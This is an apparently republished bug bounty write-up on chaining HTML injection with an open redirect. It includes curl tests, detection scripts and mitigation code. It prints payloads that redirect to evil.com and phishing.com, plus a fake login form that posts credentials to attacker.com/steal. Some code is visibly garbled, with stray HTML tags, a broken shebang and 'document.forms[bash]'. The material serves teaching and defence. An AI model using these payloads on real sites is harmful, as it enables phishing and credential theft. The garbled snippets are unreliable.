How I Exploited HTML Injection to Chain an Open Redirect – A Bug Bounty Tale + Video

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Introduction:

HTML injection and open redirect are two common yet often underestimated web vulnerabilities. Individually, they may be classified as low or medium risk, but when chained together, they can create a powerful phishing vector that bypasses many security filters. This article dissects a real-world bug bounty scenario where an HTML injection flaw was leveraged to trigger an open redirect, ultimately enabling a convincing phishing attack. We’ll walk through the technical exploitation process, provide step‑by‑step commands and tool configurations, and discuss robust mitigation strategies.

Learning Objectives:

  • Understand the mechanics of HTML injection and open redirect vulnerabilities.
  • Learn how to identify and chain these vulnerabilities to demonstrate real impact.
  • Implement secure coding practices and defensive measures to prevent such chains.

You Should Know:

1. Understanding HTML Injection

HTML injection occurs when an application includes user‑supplied input in its output without proper sanitization or encoding, allowing an attacker to insert arbitrary HTML tags. This can range from harmless formatting changes to injecting malicious forms or iframes.

Step‑by‑step guide:

  • Identify reflection points: Look for URL parameters, form fields, or HTTP headers that are echoed back in the page.
  • Test with a simple payload: Use a browser or `curl` to inject a basic HTML tag. 
    curl -X GET "http://target.com/search?q=</li>
</ul>

<h1>Injected</h1>

"

    – Inspect the response: If the page contains `

    Injected

    ` rendered as a heading, the parameter is vulnerable.
    – Escalate: Try more complex tags like `Click me` to see if links are rendered.

    2. Understanding Open Redirect

    Open redirect vulnerabilities arise when a web application redirects users to a URL specified via a parameter (e.g., ?redirect=, ?next=) without validating the target domain. Attackers can use this to send victims to malicious sites while appearing legitimate.

    Step‑by‑step guide:

    • Hunt for redirect parameters: Common names include redirect, url, next, return, goto.
    • Test with an external domain: 
      curl -I "http://target.com/login?redirect=https://evil.com"
    • Check the `Location` header in the response. If it points to `https://evil.com`, the endpoint is an open redirect.
      – Bypass weak filters: Sometimes only certain domains are allowed. Try using `https://[email protected]` or URL‑encoded variations.

    3. Chaining HTML Injection with Open Redirect

    Combining these vulnerabilities amplifies their impact. An attacker can inject HTML that automatically redirects the user to a malicious site using the open redirect endpoint, making the destination appear trustworthy.

    Step‑by‑step guide:

    • First, confirm the HTML injection point. For example, a search box that reflects input.
    • Craft a payload that includes an open redirect link. Use a meta refresh tag or a simple anchor with automatic click via JavaScript (if scripting is allowed) or just a hidden iframe. 
      <meta http-equiv="refresh" content="0; url=http://target.com/redirect?url=https://phishing.com">
    • If the HTML injection is stored (e.g., in a comment or profile), the payload will affect all visitors.
    • Test the payload: Submit it through the vulnerable parameter and verify that the browser redirects to the attacker‑controlled site.
    • For a more stealthy approach, inject a fake login form that submits credentials to an attacker server and then redirects via the open redirect to the original site. 
      </li>
</ul>

<form action="https://attacker.com/steal" method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Login">
</form>

<script>document.forms[bash].submit();</script>
      1. Advanced Exploitation – Using Burp Suite for Automation
        Manual testing is time‑consuming. Burp Suite can automate the detection and exploitation of such chains.

      Step‑by‑step guide:

      • Set up Burp as a proxy and browse the target application.
      • Identify parameters that are reflected in responses. Right‑click the request and send to Intruder.
      • In Intruder, load a list of HTML injection payloads (e.g., from PortSwigger’s payload list).
      • Add a grep‑extract rule to look for your payload in the response.
      • After the attack, review responses where the payload is reflected.
      • For open redirects, use the Burp scanner or manually test redirect parameters with a list of external domains.
      • To chain, create a custom payload that combines both: e.g., `?q=` and see if the browser follows the chain.

      5. Detection with Custom Scripts (Linux/Windows)

      You can also write simple scripts to scan for these vulnerabilities.

      Linux bash example:

      !/bin/bash
target="http://target.com/page?param="
payload="<a href=\"https://evil.com\">test</a>"
response=$(curl -s "$target$payload")
if echo "$response" | grep -q "<a href=\"https://evil.com\">test</a>"; then
echo "[+] HTML Injection possible"
fi

redirect_test="http://target.com/redirect?url=https://evil.com"
location=$(curl -s -I "$redirect_test" | grep -i location)
if echo "$location" | grep -q "evil.com"; then
echo "[+] Open redirect possible"
fi

      Windows PowerShell equivalent:

      $target = "http://target.com/page?param="
$payload = "<a href='https://evil.com'>test</a>"
$response = Invoke-WebRequest -Uri ($target + $payload) -UseBasicParsing
if ($response.Content -match "<a href='https://evil.com'>test</a>") {
Write-Host "[+] HTML Injection possible"
}

$redirect = "http://target.com/redirect?url=https://evil.com"
$resp = Invoke-WebRequest -Uri $redirect -MaximumRedirection 0 -ErrorAction SilentlyContinue
if ($resp.Headers.Location -match "evil.com") {
Write-Host "[+] Open redirect possible"
}

      6. Mitigation Strategies

      Preventing these chains requires a defense‑in‑depth approach.

      • For HTML injection: Always use context‑aware output encoding. In PHP, use htmlspecialchars(); in JavaScript, use `textContent` instead of innerHTML. Implement a Content Security Policy (CSP) to restrict inline scripts and untrusted sources.
      • For open redirect: Maintain a whitelist of allowed redirect domains or paths. If a whitelist is not feasible, use indirect references (e.g., a mapping of IDs to URLs) and never trust user input directly.
      • Example in PHP: 
        $allowed = ['https://trusted.com', 'https://another.com'];
$redirect = $_GET['url'];
if (in_array($redirect, $allowed)) {
header('Location: ' . $redirect);
} else {
header('Location: /default.php');
}

      7. Real‑World Impact and Bug Bounty Tips

      In the original post by Mohamed Badawy, an HTML injection led to an open redirect, which could be used for phishing. Such chains are often rated higher because they bypass typical URL scanners. When reporting, demonstrate a full attack scenario: an email with a link to the trusted site that, when clicked, injects a fake login form and redirects to the real site after stealing credentials. Include proof‑of‑concept URLs and screenshots. Always follow responsible disclosure guidelines.

      What Undercode Say:

      • HTML injection alone might seem harmless, but chaining it with an open redirect transforms it into a potent phishing weapon that undermines user trust.
      • Developers must validate and sanitize every input, even those that appear trivial, and implement strict redirect policies to break such attack chains.
      • Security professionals should think like attackers—chaining low‑severity bugs to uncover critical business risks—and advocate for holistic security reviews.

      Prediction:

      As web applications evolve, chaining vulnerabilities will become the norm in sophisticated attacks. Automated scanners will improve at detecting individual flaws, but human ingenuity in chaining them will remain invaluable. We can expect an increase in phishing campaigns leveraging these chains, as they bypass many traditional defenses. Consequently, bug bounty programs will place greater emphasis on chained exploits, and security training will focus more on integration and impact analysis.

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      Reported By: Mohamed Badawy – Hackers Feeds
      Extra Hub: Undercode MoN
      Basic Verification: Pass ✅

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